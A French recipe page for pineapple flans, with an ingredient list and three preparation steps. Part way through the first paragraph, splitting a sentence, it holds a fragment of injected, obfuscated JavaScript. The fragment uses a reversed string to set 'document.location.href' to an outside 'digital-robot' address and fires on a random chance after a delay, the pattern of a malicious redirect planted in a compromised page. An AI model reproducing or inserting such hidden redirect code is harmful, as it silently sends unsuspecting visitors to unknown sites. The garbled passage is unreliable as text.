Flans d’ananas
2016-12-28Pelez, coupez l’ananas en rondelles. Dans une poêle sur feu vif avec le beurre, faites revenir les rondelles d’ananas en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent. Les mixer.
Ingrédients
- Pour 6 personnes
- 1 ananas
- 8 œufs entiers
- 75 g de sucre en poudre
- 20 g de beurre
Préparation de la recette
Etape 1
Pelez, coupez l'ananas en rondelles. Dans une poêle sur feu vif avec le beurre, faites revenir les rondelles d'ananas en les retournant souvent. Les mixer.
Etape 2
Répartissez la purée d'ananas dans un plat à gratin beurré. Dans un récipient fouettez les œufs en omelette avec le sucre en poudre.
Etape 3
Incorporez dans la purée d'ananas. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire dans un bain-marie chaud, pendant 40 minutes. Vérifiez la cuisson du flan. Sortez du four. Laissez refroidir et dégustez froid.
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